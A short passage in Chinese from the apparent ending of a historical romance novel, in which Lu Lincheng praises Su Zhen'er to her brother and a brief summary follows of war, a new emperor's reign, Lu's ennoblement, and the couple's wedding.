“兄弟,没看出来啊,我这妹妹……虽然是长得挺好看的,但你到底看上她哪了?” 陆麟城道:“好看。” 苏承煦点头,“确实好看。” 陆麟城继续,“除了好看,哪里都好。” 苏承煦:……情人眼里出西施这种事情原来不是古人瞎掰的。 苏甄儿迟到的及笄礼在十二月正式举办完毕。 翌年,金陵传来皇帝驾崩的消息,英国公携苏承煦与陆麟城一道进金陵取了继位诏书,送往藩地。 听闻期间肃王父子百般阻挠,最终不敌鬼面军,于长江口岸被斩杀,身体扔进江里喂了鱼。 此后,英国公父子与陆家父子追随新帝周玄祈平定乱世。 次年,乱局结束,新帝继位,分封赏赐。 作为出力最多的年轻鬼将陆麟城,被周玄祈封为大周唯一一位异姓王。 同年,陆麟城与苏甄儿在众人的见证下完婚,有情人终成眷侣。